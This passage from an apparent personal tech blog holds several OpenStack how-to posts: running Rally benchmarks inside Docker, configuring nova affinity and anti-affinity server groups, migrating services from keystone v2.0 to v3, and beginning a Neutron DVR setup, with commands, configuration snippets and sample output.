0, "scrubber.waiting_on": 0, "scrubber.waiting_on_whom": [] } }, { "name": "Started", "enter_time": "2016-03-16 21:13:09.216260" } ], "agent_state": {} } ``` That\\'s all for now. Regards, Eduardo Gonzalez # Rally OpenStack benchmarking with Docker OpenStack Rally is a project under the Big Tent umbrella with the mission of verify OpenStack environments to ensure SLAs under high loads or fail over scenarios, and cloud services verification. Rally can also be used to continuous integration and delivery tasks. Why use Rally inside a Docker container? Rally is a service that is not commonly used in most environments, is a tool that is used when new infrastructure changes are made or when a SLAs review must be done, not make any sense have a service consuming infrastructure resources or block a server only for use under specific situations. Also, if your OpenStack infrastructure is automated, with a container you can have a nice integration with CI/CD tools like Jenkins. Main reasons to use Rally inside Docker containers: * Quick tests/deployments of Rally tasks * Automated testing * Cost savings * Operators can execute tasks with their own computers, freeing infrastructure resources * Re-utilization of resources Here you got my suggestions about how to use Rally inside Docker: * Create a new container(automatized or not by another tool) * Always use an external volume to store rally reports data * Execute Rally tasks * Export the reports to the volume shared with the Docker host * Kill the container \| Let\\'s start with this quick guide: | Clone the repo i created with the Dockerfile ``` [egonzalez@localhost ~]$ git clone https://github.com/egonzalez90/docker-rally.git ``` Move to docker-rally directory ``` [egonzalez@localhost ~]$ cd docker-rally/ ``` Create the Docker image ``` [egonzalez@localhost docker-rally]$ docker build -t egonzalez90/rally-mitaka . Sending build context to Docker daemon 76.8 kB Step 1 : FROM centos:7 ---> 904d6c400333 Step 2 : MAINTAINER Eduardo Gonzalez Gutierrez ---> Using cache ---> ee93bc7747e1 Step 3 : RUN yum install -y https://repos.fedorapeople.org/repos/openstack/openstack-mitaka/rdo-release-mitaka-3.noarch.rpm ---> Using cache ---> 8492ab9ee261 Step 4 : RUN yum update -y ---> Using cache ---> 1374340eb39a Step 5 : RUN yum -y install openstack-rally gcc libffi-devel python-devel openssl-devel gmp-devel libxml2-devel libxslt-devel postgresql-devel redhat-rpm-config wget openstack-selinux openstack-utils && yum clean all ---> Using cache ---> 9b65e4a281be Step 6 : RUN rally-manage --config-file /etc/rally/rally.conf db recreate ---> Using cache ---> dc4f3dbc1505 Successfully built dc4f3dbc1505 ``` Start rally container with a pseudo-tty and a volume to store rally execution data ``` [egonzalez@localhost docker-rally]$ docker run -ti -v /opt/rally-data/:/rally-data:Z egonzalez90/rally-mitaka [root@07766ba700e8 /]# ``` Create a file called deploy.json with the admin info of your OpenStack environment ``` [root@07766ba700e8 /]# vi deploy.json { "type": "ExistingCloud", "auth_url": "http://controller:5000/v2.0", "region_name": "RegionOne", "admin": { "username": "admin", "password": "my_password", "tenant_name": "admin" } } ``` Create a deployment with the json we previously created ``` [root@07766ba700e8 /]# rally deployment create --file=deploy.json --name=existing 2016-06-15 09:42:25.428 25 INFO rally.deployment.engine [-] Deployment a5162111-02a5-458f-bb59-f822cab1aa93 | Starting: OpenStack cloud deployment. 2016-06-15 09:42:25.478 25 INFO rally.deployment.engine [-] Deployment a5162111-02a5-458f-bb59-f822cab1aa93 | Completed: OpenStack cloud deployment. +--------------------------------------+----------------------------+----------+------------------+--------+ | uuid | created_at | name | status | active | +--------------------------------------+----------------------------+----------+------------------+--------+ | a5162111-02a5-458f-bb59-f822cab1aa93 | 2016-06-15 09:42:25.391691 | existing | deploy->finished | | +--------------------------------------+----------------------------+----------+------------------+--------+ Using deployment: a5162111-02a5-458f-bb59-f822cab1aa93 ~/.rally/openrc was updated HINTS: * To get your cloud resources, run: rally show [flavors|images|keypairs|networks|secgroups] * To use standard OpenStack clients, set up your env by running: source ~/.rally/openrc OpenStack clients are now configured, e.g run: glance image-list ``` Source the openrc file rally has created with your user info and test if you can connect with glance ``` [root@07766ba700e8 /]# source ~/.rally/openrc [root@07766ba700e8 /]# glance image-list +--------------------------------------+--------+ | ID | Name | +--------------------------------------+--------+ | 1c4fc8a6-3ea7-433c-8ece-a14bbaf861e2 | cirros | +--------------------------------------+--------+ ``` Check deployment status ``` [root@07766ba700e8 /]# rally deployment check keystone endpoints are valid and following services are available: +-------------+----------------+-----------+ | services | type | status | +-------------+----------------+-----------+ | __unknown__ | volumev2 | Available | | ceilometer | metering | Available | | cinder | volume | Available | | cloud | cloudformation | Available | | glance | image | Available | | heat | orchestration | Available | | keystone | identity | Available | | neutron | network | Available | | nova | compute | Available | +-------------+----------------+-----------+ NOTE: '__unknown__' service name means that Keystone service catalog doesn't return name for this service and Rally can not identify service by its type. BUT you still can use such services with api_versions context, specifying type of service (execute `rally plugin show api_versions` for more details). ``` Create a test execution file, this test will check if nova can boot and delete some instances ``` [root@07766ba700e8 /]# vi execution.json { "NovaServers.boot_and_delete_server": [ { "runner": { "type": "constant", "concurrency": 2, "times": 10 }, "args": { "force_delete": false, "flavor": { "name": "m1.tiny" }, "image": { "name": "cirros" } }, "context": { "users": { "project_domain": "default", "users_per_tenant": 2, "tenants": 3, "resource_management_workers": 30, "user_domain": "default" } } } ] } ``` Run the task with the following command ``` [root@07766ba700e8 /]# rally task start execution.json -------------------------------------------------------------------------------- Preparing input task -------------------------------------------------------------------------------- Input task is: { "NovaServers.boot_and_delete_server": [ { "args": { "flavor": { "name": "m1.tiny" }, "image": { "name": "cirros" }, "force_delete": false }, "runner": { "type": "constant", "times": 10, "concurrency": 2 }, "context": { "users": { "tenants": 3, "users_per_tenant": 2 } } } ] } Task syntax is correct :) 2016-06-15 09:48:11.556 101 INFO rally.task.engine [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | Starting: Task validation. 2016-06-15 09:48:11.579 101 INFO rally.task.engine [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | Starting: Task validation of scenarios names. 2016-06-15 09:48:11.581 101 INFO rally.task.engine [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | Completed: Task validation of scenarios names. 2016-06-15 09:48:11.581 101 INFO rally.task.engine [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | Starting: Task validation of syntax. 2016-06-15 09:48:11.587 101 INFO rally.task.engine [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | Completed: Task validation of syntax. 2016-06-15 09:48:11.588 101 INFO rally.task.engine [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | Starting: Task validation of semantic. 2016-06-15 09:48:11.588 101 INFO rally.task.engine [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | Starting: Task validation check cloud. 2016-06-15 09:48:11.694 101 INFO rally.task.engine [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | Completed: Task validation check cloud. 2016-06-15 09:48:11.700 101 INFO rally.plugins.openstack.context.keystone.users [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | Starting: Enter context: `users` 2016-06-15 09:48:12.004 101 INFO rally.plugins.openstack.context.keystone.users [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | Completed: Enter context: `users` 2016-06-15 09:48:12.106 101 WARNING rally.task.types [-] FlavorResourceType is deprecated in Rally v0.3.2; use the equivalent resource plugin name instead 2016-06-15 09:48:12.207 101 WARNING rally.task.types [-] ImageResourceType is deprecated in Rally v0.3.2; use the equivalent resource plugin name instead 2016-06-15 09:48:12.395 101 INFO rally.plugins.openstack.context.keystone.users [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | Starting: Exit context: `users` 2016-06-15 09:48:13.546 101 INFO rally.plugins.openstack.context.keystone.users [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | Completed: Exit context: `users` 2016-06-15 09:48:13.546 101 INFO rally.task.engine [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | Completed: Task validation of semantic. 2016-06-15 09:48:13.547 101 INFO rally.task.engine [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | Completed: Task validation. Task config is valid :) -------------------------------------------------------------------------------- Task 137eb997-d1f8-4d3f-918a-8aec3db7500f: started -------------------------------------------------------------------------------- Benchmarking... This can take a while... To track task status use: rally task status or rally task detailed Using task: 137eb997-d1f8-4d3f-918a-8aec3db7500f 2016-06-15 09:48:13.555 101 INFO rally.api [-] Benchmark Task 137eb997-d1f8-4d3f-918a-8aec3db7500f on Deployment a5162111-02a5-458f-bb59-f822cab1aa93 2016-06-15 09:48:13.558 101 INFO rally.task.engine [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | Starting: Benchmarking. 2016-06-15 09:48:13.586 101 INFO rally.task.engine [-] Running benchmark with key: { "kw": { "runner": { "type": "constant", "concurrency": 2, "times": 10 }, "args": { "force_delete": false, "flavor": { "name": "m1.tiny" }, "image": { "name": "cirros" } }, "context": { "users": { "users_per_tenant": 2, "tenants": 3 } } }, "name": "NovaServers.boot_and_delete_server", "pos": 0 } 2016-06-15 09:48:13.592 101 INFO rally.plugins.openstack.context.keystone.users [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | Starting: Enter context: `users` 2016-06-15 09:48:14.994 101 INFO rally.plugins.openstack.context.keystone.users [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | Completed: Enter context: `users` 2016-06-15 09:48:15.244 292 INFO rally.task.runner [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | ITER: 0 START 2016-06-15 09:48:15.245 293 INFO rally.task.runner [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | ITER: 1 START 2016-06-15 09:48:16.975 292 WARNING rally.common.logging [-] 'wait_for' is deprecated in Rally v0.1.2: Use wait_for_status instead. 2016-06-15 09:48:17.095 293 WARNING rally.common.logging [-] 'wait_for' is deprecated in Rally v0.1.2: Use wait_for_status instead. 2016-06-15 09:49:21.024 292 INFO rally.task.runner [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | ITER: 0 END: OK 2016-06-15 09:49:21.028 292 INFO rally.task.runner [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | ITER: 2 START 2016-06-15 09:49:32.109 293 INFO rally.task.runner [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | ITER: 1 END: OK 2016-06-15 09:49:32.112 293 INFO rally.task.runner [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | ITER: 3 START 2016-06-15 09:49:41.504 292 INFO rally.task.runner [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | ITER: 2 END: OK 2016-06-15 09:49:41.508 292 INFO rally.task.runner [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | ITER: 4 START 2016-06-15 09:49:52.455 293 INFO rally.task.runner [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | ITER: 3 END: OK 2016-06-15 09:49:52.462 293 INFO rally.task.runner [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | ITER: 5 START 2016-06-15 09:50:01.907 292 INFO rally.task.runner [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | ITER: 4 END: OK 2016-06-15 09:50:01.918 292 INFO rally.task.runner [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | ITER: 6 START 2016-06-15 09:50:12.692 293 INFO rally.task.runner [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | ITER: 5 END: OK 2016-06-15 09:50:12.694 293 INFO rally.task.runner [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | ITER: 7 START 2016-06-15 09:50:23.122 292 INFO rally.task.runner [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | ITER: 6 END: OK 2016-06-15 09:50:23.131 292 INFO rally.task.runner [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | ITER: 8 START 2016-06-15 09:50:33.322 293 INFO rally.task.runner [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | ITER: 7 END: OK 2016-06-15 09:50:33.332 293 INFO rally.task.runner [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | ITER: 9 START 2016-06-15 09:50:43.285 292 INFO rally.task.runner [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | ITER: 8 END: OK 2016-06-15 09:50:53.422 293 INFO rally.task.runner [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | ITER: 9 END: OK 2016-06-15 09:50:53.436 101 INFO rally.plugins.openstack.context.cleanup.user [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | Starting: user resources cleanup 2016-06-15 09:50:55.244 101 INFO rally.plugins.openstack.context.cleanup.user [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | Completed: user resources cleanup 2016-06-15 09:50:55.245 101 INFO rally.plugins.openstack.context.keystone.users [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | Starting: Exit context: `users` 2016-06-15 09:50:57.438 101 INFO rally.plugins.openstack.context.keystone.users [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | Completed: Exit context: `users` 2016-06-15 09:50:58.023 101 INFO rally.task.engine [-] Task 137eb997-d1f8-4d3f-918a-8aec3db7500f | Completed: Benchmarking. -------------------------------------------------------------------------------- Task 137eb997-d1f8-4d3f-918a-8aec3db7500f: finished -------------------------------------------------------------------------------- test scenario NovaServers.boot_and_delete_server args position 0 args values: { "runner": { "type": "constant", "concurrency": 2, "times": 10 }, "args": { "force_delete": false, "flavor": { "name": "m1.tiny" }, "image": { "name": "cirros" } }, "context": { "users": { "project_domain": "default", "users_per_tenant": 2, "tenants": 3, "resource_management_workers": 30, "user_domain": "default" } } } +-----------------------------------------------------------------------------------------------------------------------+ | Response Times (sec) | +--------------------+-----------+--------------+--------------+--------------+-----------+-----------+---------+-------+ | Action | Min (sec) | Median (sec) | 90%ile (sec) | 95%ile (sec) | Max (sec) | Avg (sec) | Success | Count | +--------------------+-----------+--------------+--------------+--------------+-----------+-----------+---------+-------+ | nova.boot_server | 17.84 | 18.158 | 64.433 | 69.419 | 74.405 | 28.299 | 100.0% | 10 | | nova.delete_server | 2.24 | 2.275 | 2.454 | 2.456 | 2.458 | 2.317 | 100.0% | 10 | | total | 20.09 | 20.437 | 66.888 | 71.875 | 76.863 | 30.616 | 100.0% | 10 | +--------------------+-----------+--------------+--------------+--------------+-----------+-----------+---------+-------+ Load duration: 158.199862003 Full duration: 163.846753836 HINTS: * To plot HTML graphics with this data, run: rally task report 137eb997-d1f8-4d3f-918a-8aec3db7500f --out output.html * To generate a JUnit report, run: rally task report 137eb997-d1f8-4d3f-918a-8aec3db7500f --junit --out output.xml * To get raw JSON output of task results, run: rally task results 137eb997-d1f8-4d3f-918a-8aec3db7500f ``` \| After a while, you will receive an output execution resume, you can export to a report file with the following command in a pretty style report. | Use the volume we created with the Docker Host to save report files. ``` [root@07766ba700e8 /]# rally task report 137eb997-d1f8-4d3f-918a-8aec3db7500f --html-static --out /rally-data/output.html ``` \| Open the output file form a Web browser and review the report. \| Regards # OpenStack affinity/anti-affinity groups In a previous post, you learned how to segregate resources with [Availability Zones and Host Aggregates](http://egonzalez.org/openstack-segregation-with-availability-zones-and-host-aggregates/), those methods allows the end user to specify where and on which types of resources their instances should be running. At this post, you will learn how specify to nova where nova-scheduler should schedule your instances based on two policies. These policies define if instances should share the same hypervisor (affinity rule) or if not depending of user needs(anti-affinity rule). First, you need to modify nova.conf and allow nova-scheduler to filter based on affinity rules. Add `ServerGroupAntiAffinityFilter` and `ServerGroupAffinityFilter` filters to scheduler default filter option. ``` # vi /etc/nova.conf scheduler_default_filters=RetryFilter,AvailabilityZoneFilter,RamFilter,ComputeFilter,ComputeCapabilitiesFilter,ImagePropertiesFilter,CoreFilter,ServerGroupAntiAffinityFilter,ServerGroupAffinityFilter ``` Restart nova-scheduler to apply changes ``` systemctl restart openstack-nova-scheduler ``` Once nova-scheduler has been restarted, we can create a group of servers based on affinity policy (All instances at this group will be launched in the same hypervisor) ``` nova server-group-create instancestogethergroup affinity +--------------------------------------+------------------------+---------------+---------+----------+ | Id | Name | Policies | Members | Metadata | +--------------------------------------+------------------------+---------------+---------+----------+ | 27abe662-c37e-431c-9715-0d2137fc5519 | instancestogethergroup | [u'affinity'] | [] | {} | +--------------------------------------+------------------------+---------------+---------+----------+ ``` Now create two instances, add `--hint group=GROUP-ID` option to specify the group where instances will be members. ``` nova boot --image a6d7a606-f725-480a-9b1b-7b3ae39b93d4 --flavor m1.tiny --nic net-id=154da7a8-fa49-415e-9d35-c840b144a8df --hint group=27abe662-c37e-431c-9715-0d2137fc5519 affinity1 nova boot --image a6d7a606-f725-480a-9b1b-7b3ae39b93d4 --flavor m1.tiny --nic net-id=154da7a8-fa49-415e-9d35-c840b144a8df --hint group=27abe662-c37e-431c-9715-0d2137fc5519 affinity2 ``` Ensure the instances are properly mapped to the group. ``` nova server-group-get 27abe662-c37e-431c-9715-0d2137fc5519 +--------------------------------------+------------------------+---------------+------------------------------------------------------------------------------------+----------+ | Id | Name | Policies | Members | Metadata | +--------------------------------------+------------------------+---------------+------------------------------------------------------------------------------------+----------+ | 27abe662-c37e-431c-9715-0d2137fc5519 | instancestogethergroup | [u'affinity'] | [u'b8b72a0a-c981-430e-a909-13d23d928655', u'8affefff-0072-47e3-8d11-2ddf26e48b82'] | {} | +--------------------------------------+------------------------+---------------+------------------------------------------------------------------------------------+----------+ ``` Once instances are running, ensure they share the same hypervisor as we specify in the affinity policy. ``` # nova show affinity1 | grep hypervisor_hostname | OS-EXT-SRV-ATTR:hypervisor_hostname | compute2az # nova show affinity2 | grep hypervisor_hostname | OS-EXT-SRV-ATTR:hypervisor_hostname | compute2az ``` Now we create an anti-affinity policy based group. ``` nova server-group-create farinstancesgroup anti-affinity +--------------------------------------+-------------------+--------------------+---------+----------+ | Id | Name | Policies | Members | Metadata | +--------------------------------------+-------------------+--------------------+---------+----------+ | 988a9fd2-3a97-481e-b083-fee36b33009d | farinstancesgroup | [u'anti-affinity'] | [] | {} | +--------------------------------------+-------------------+--------------------+---------+----------+ ``` Launch two instances and attach them to the anti-affinity group. ``` nova boot --image a6d7a606-f725-480a-9b1b-7b3ae39b93d4 --flavor m1.tiny --nic net-id=154da7a8-fa49-415e-9d35-c840b144a8df --hint group=988a9fd2-3a97-481e-b083-fee36b33009d anti-affinity1 nova boot --image a6d7a606-f725-480a-9b1b-7b3ae39b93d4 --flavor m1.tiny --nic net-id=154da7a8-fa49-415e-9d35-c840b144a8df --hint group=988a9fd2-3a97-481e-b083-fee36b33009d anti-affinity2 ``` Ensure the instances are in the anti-affinity group ``` nova server-group-get 988a9fd2-3a97-481e-b083-fee36b33009d +--------------------------------------+-------------------+--------------------+------------------------------------------------------------------------------------+----------+ | Id | Name | Policies | Members | Metadata | +--------------------------------------+-------------------+--------------------+------------------------------------------------------------------------------------+----------+ | 988a9fd2-3a97-481e-b083-fee36b33009d | farinstancesgroup | [u'anti-affinity'] | [u'cfb45193-9a7c-436f-ac2d-59a7a9a854ae', u'25dc8671-0c9a-4774-90cf-7394380f91ef'] | {} | +--------------------------------------+-------------------+--------------------+------------------------------------------------------------------------------------+----------+ ``` Once instances are running, ensure they are in different hypervisors as we specify in the anti-affinity policy. ``` # nova show anti-affinity1 | grep hypervisor_hostname | OS-EXT-SRV-ATTR:hypervisor_hostname | compute2az # nova show anti-affinity2 | grep hypervisor_hostname | OS-EXT-SRV-ATTR:hypervisor_hostname | compute1az ``` Regards, Eduardo Gonzalez # Migrate keystone v2.0 to keystone v3 OpenStack Migrate from keystone v2.0 to v3 isn't as easy like just changing the endpoints at the database, every service must be configured to authenticate against keystone v3. I've been working on that the past few days looking for a method, with the purpose of facilitate operators life's who need this kind of migration. I have to thank Adam Young work, i followed his blog to make a first configuration idea, after that, i configured all core services to make use of keystone v3. If you want to check Adam's blog, follow this link: I used OpenStack Liberty installed with RDO packstack over CentOS 7 servers. The example IP used is `192.168.200.168`, use your own according your needs. Password used for all services is `PASSWD1234`, use your own password, you can locate your passwords at the packstack answer file. Horizon First we configure Horizon with keystone v3 as below: ``` vi /etc/openstack-dashboard/local_settings OPENSTACK_API_VERSIONS = { "identity": 3 } OPENSTACK_KEYSTONE_MULTIDOMAIN_SUPPORT = True OPENSTACK_KEYSTONE_DEFAULT_DOMAIN = 'Default' ``` keystone Check your current identity endpoints ``` mysql --user keystone_admin --password=PASSWD1234 keystone -e "select interface, url from endpoint where service_id = (select id from service where service.type = 'identity');" ``` Change your public, admin and internal endpoints with v3 at the end, instead of v2.0 ``` mysql --user keystone_admin --password=PASSWD1234 keystone -e "update endpoint set url = 'http://192.168.200.178:5000/v3' where interface ='internal' and service_id = (select id from service where service.type = 'identity');" mysql --user keystone_admin --password=PASSWD1234 keystone -e "update endpoint set url = 'http://192.168.200.178:5000/v3' where interface ='public' and service_id = (select id from service where service.type = 'identity');" mysql --user keystone_admin --password=PASSWD1234 keystone -e "update endpoint set url = 'http://192.168.200.178:35357/v3' where interface ='admin' and service_id = (select id from service where service.type = 'identity');" ``` Ensure the endpoints are properly created ``` mysql --user keystone_admin --password=KEYSTONE_DB_PW keystone -e "select interface, url from endpoint where service_id = (select id from service where service.type = 'identity');" ``` Create a source file or edit keystonerc\_admin with the following data ``` vi v3_keystone unset OS_SERVICE_TOKEN export OS_USERNAME=admin export OS_PASSWORD=PASSWD1234 export OS_AUTH_URL=http://192.168.200.178:5000/v3 export OS_PROJECT_NAME=admin export OS_PROJECT_DOMAIN_NAME=Default export OS_USER_DOMAIN_NAME=Default export OS_REGION_NAME=RegionOne export PS1='[\u@\h \W(keystone_admin)]\$ ' export OS_IDENTITY_API_VERSION=3 ``` Comment both pipelines, in public\_api and admin\_api ``` vi /usr/share/keystone/keystone-dist-paste.ini [pipeline:public_api] # The last item in this pipeline must be public_service or an equivalent # application. It cannot be a filter. #pipeline = sizelimit url_normalize request_id build_auth_context token_auth admin_token_auth json_body ec2_extension user_crud_extension public_service [pipeline:admin_api] # The last item in this pipeline must be admin_service or an equivalent # application. It cannot be a filter. #pipeline = sizelimit url_normalize request_id build_auth_context token_auth admin_token_auth json_body ec2_extension s3_extension crud_extension admin_service ``` Comment v2.0 entries in composite:main and admin sections. ``` [composite:main] use = egg:Paste#urlmap #/v2.0 = public_api /v3 = api_v3 / = public_version_api [composite:admin] use = egg:Paste#urlmap #/v2.0 = admin_api /v3 = api_v3 / = admin_version_api ``` Restart httpd to apply changes ``` systemctl restart httpd ``` Check whether keystone and horizon are properly working The command below should prompt an user list, if not, check configuration in previous steps ``` openstack user list ``` Glance Edit the following files, with the content below: ``` vi /etc/glance/glance-api.conf vi /etc/glance/glance-registry.conf vi /etc/glance/glance-cache.conf [keystone_authtoken] auth_plugin = password auth_url = http://192.168.200.178:35357 username = glance password = PASSWD1234 project_name = services user_domain_name = Default project_domain_name = Default auth_uri=http://192.168.200.178:5000 ``` Comment the following lines: ``` #auth_host=127.0.0.1 #auth_port=35357 #auth_protocol=http #identity_uri=http://192.168.200.178:35357 #admin_user=glance #admin_password=PASSWD1234 #admin_tenant_name=services ``` Those lines, should be commented in all the other OpenStack core services at keystone\_authtoken section Edit the files below and comment the lines inside keystone\_authtoken section. ``` vi /usr/share/glance/glance-api-dist.conf vi /usr/share/glance/glance-registry-dist.conf [keystone_authtoken] #admin_tenant_name = %SERVICE_TENANT_NAME% #admin_user = %SERVICE_USER% #admin_password = %SERVICE_PASSWORD% #auth_host = 127.0.0.1 #auth_port = 35357 #auth_protocol = http ``` Restart glance services ``` openstack-service restart glance ``` Ensure glance service is working ``` openstack image list ``` Nova Edit the file below and comment the lines inside keystone\_authtoken ``` vi /usr/share/nova/nova-dist.conf [keystone_authtoken] #auth_host = 127.0.0.1 #auth_port = 35357 #auth_protocol = http ``` Edit nova.conf and add the auth content inside keystone\_authtoken, don't forget to comment the lines related to the last auth method, which were commented in glance section. ``` vi /etc/nova/nova.conf [keystone_authtoken] auth_plugin = password auth_url = http://192.168.200.178:35357 username = nova password = PASSWD1234 project_name = services user_domain_name = Default project_domain_name = Default auth_uri=http://192.168.200.178:5000 ``` Configure nova authentication against neutron ``` [neutron] auth_plugin = password auth_url = http://192.168.200.178:35357 username = neutron password = PASSWD1234 project_name = services user_domain_name = Default project_domain_name = Default auth_uri=http://192.168.200.178:5000 ``` Restart nova services to apply changes ``` openstack-service restart nova ``` Check if nova works ``` openstack hypervisor list ``` Neutron Comment or remove the following entries at api-paste.ini and add the new version auth lines ``` vi /etc/neutron/api-paste.ini [filter:authtoken] #identity_uri=http://192.168.200.178:35357 #admin_user=neutron #admin_password=PASSWD1234 #auth_uri=http://192.168.200.178:5000/v2.0 #admin_tenant_name=services auth_plugin = password auth_url = http://192.168.200.178:35357 username = neutron password = PASSWD1234 project_name = services user_domain_name = Default project_domain_name = Default auth_uri=http://192.168.200.178:5000 ``` Configure v3 authentication for metadata service, remember comment the old auth lines ``` vi /etc/neutron/metadata_agent.ini [DEFAULT] auth_plugin = password auth_url = http://192.168.200.178:35357 username = neutron password = PASSWD1234 project_name = services user_domain_name = Default project_domain_name = Default auth_uri=http://192.168.200.178:5000 ``` Configure neutron server with v3 auth ``` vi /etc/neutron/neutron.conf nova_admin_auth_url = http://192.168.200.178:5000 # nova_admin_tenant_id =1fb93c84c6474c5ea92c0ed5f7d4a6a7 nova_admin_tenant_name = services [keystone_authtoken] auth_plugin = password auth_url = http://192.168.200.178:35357 username = neutron password = PASSWD1234 project_name = services user_domain_name = Default project_domain_name = Default auth_uri=http://192.168.200.178:5000 #auth_uri = http://192.168.200.178:5000/v2.0 #identity_uri = http://192.168.200.178:35357 #admin_tenant_name = services #admin_user = neutron #admin_password = PASSWD1234 ``` Configure neutron auth against nova services ``` [nova] auth_plugin = password auth_url = http://192.168.200.178:35357 username = nova password = PASSWD1234 project_name = services user_domain_name = Default project_domain_name = Default auth_uri=http://192.168.200.178:5000 ``` Restart neutron services to apply changes ``` openstack-service restart neutron ``` Test correct neutron funtionality ``` openstack network list ``` Cinder Edit api-paste.ini with the following content ``` vi /etc/cinder/api-paste.ini [filter:authtoken] paste.filter_factory = keystonemiddleware.auth_token:filter_factory auth_plugin = password auth_url = http://192.168.200.178:35357 username = cinder password = PASSWD1234 project_name = services user_domain_name = Default project_domain_name = Default auth_uri=http://192.168.200.178:5000 #admin_tenant_name=services #auth_uri=http://192.168.200.178:5000/v2.0 #admin_user=cinder #identity_uri=http://192.168.200.178:35357 #admin_password=PASSWD1234 ``` Restart cinder services to apply changes ``` openstack-service restart cinder ``` Ensure cinder is properly running ``` openstack volume create --size 1 testvolume openstack volume list ``` Now, you can check if nova is working fine, create an instance and ensure it is in ACTIVE state. ``` openstack server create --flavor m1.tiny --image cirros --nic net-id=a1aa6336-9ae2-4ffb-99f5-1b6d1130989c testinstance openstack server list ``` If any error occurs, review configuration files Swift Configure proxy server auth agains keystone v3 ``` vi /etc/swift/proxy-server.conf [filter:authtoken] log_name = swift signing_dir = /var/cache/swift paste.filter_factory = keystonemiddleware.auth_token:filter_factory auth_plugin = password auth_url = http://192.168.200.178:35357 username = swift password = PASSWD1234 project_name = services user_domain_name = Default project_domain_name = Default auth_uri=http://192.168.200.178:5000 #auth_uri = http://192.168.200.178:5000/v2.0 #identity_uri = http://192.168.200.178:35357 #admin_tenant_name = services #admin_user = swift #admin_password = PASSWD1234 delay_auth_decision = 1 cache = swift.cache include_service_catalog = False ``` Restart swift services to apply changes ``` openstack-service restart swift ``` \| Swift commands must be issued with python-openstackclient instead of swiftclient If done with swiftclient a -V 3 option must be used in order to avoid issues Check if swift works fine ``` openstack container create testcontainer ``` Ceilometer Configure ceilometer service in order to authenticate agains keystone v3 ``` [keystone_authtoken] auth_plugin = password auth_url = http://192.168.200.178:35357 username = ceilometer password = PASSWD1234 project_name = services user_domain_name = Default project_domain_name = Default auth_uri=http://192.168.200.178:5000 [service_credentials] os_auth_url = http://controller:5000/v3 os_username = ceilometer os_tenant_name = services os_password = PASSWD1234 os_endpoint_type = internalURL os_region_name = RegionOne ``` Restart ceilometer services ``` openstack-service restart ceilometer ``` Check ceilometer funtionality ``` ceilometer statistics -m memory ``` Heat Configure Heat authentication, since trusts are not stable use password auth method ``` vi /etc/heat/heat.conf # Allowed values: password, trusts #deferred_auth_method = trusts deferred_auth_method = password ``` Configure auth\_uri and keystone\_authtoken section ``` # From heat.common.config # # Unversioned keystone url in format like http://0.0.0.0:5000. (string value) #auth_uri = auth_uri = http://192.168.200.178:5000 [keystone_authtoken] auth_plugin = password auth_url = http://192.168.200.178:35357 username = heat password = PASSWD1234 project_name = services user_domain_name = Default project_domain_name = Default auth_uri=http://192.168.200.178:5000 #admin_user=heat #admin_password=PASSWD1234 #admin_tenant_name=services #identity_uri=http://192.168.200.178:35357 #auth_uri=http://192.168.200.178:5000/v2.0 ``` Comment or remove heat-dist auth entries in order to avoid conflicts with your config files ``` vi /usr/share/heat/heat-dist.conf [keystone_authtoken] #auth_host = 127.0.0.1 #auth_port = 35357 #auth_protocol = http #auth_uri = http://127.0.0.1:5000/v2.0 #signing_dir = /tmp/keystone-signing-heat ``` Restart heat services to apply changes ``` openstack-service restart heat ``` Ensure heat authentication is properly configured with a simple heat template ``` heat stack-create --template-file sample.yaml teststack ``` Most issues occurs in the authentication between nova and neutron services, if instances does not launch as expected, review \[nova] and \[neutron] sections. Best regards, Eduardo Gonzalez # Neutron DVR OpenStack Liberty Distributed Virtual Routers aka DVR were created to avoid single point of failure on neutron nodes. When using standard routers, all the traffic is passing out through Neutron servers. Inside network servers, router namespaces are created routing all traffic and NAT forwarding between instances and public networks. When a network node falls down, instance traffic will no longer be available until a new namespace is created and executed in another network node. Distributed routers is a way to avoid the SPOF neutron nodes were. When using DVR, router namespaces, are directly created inside compute nodes where all instance and l3 traffic are routed. If you want to know more about DVR check this awesome links: * * * A previous OpenStack Liberty installation is required, mine was done with RDO packstack. **Configure all Neutron Servers** Edit ml2 configuration file with the following: ``` # vi /etc/neutron/plugins/ml2/ml2_conf.ini mechanism_drivers = openvswitch,l2population type_drivers = flat,vlan,vxlan 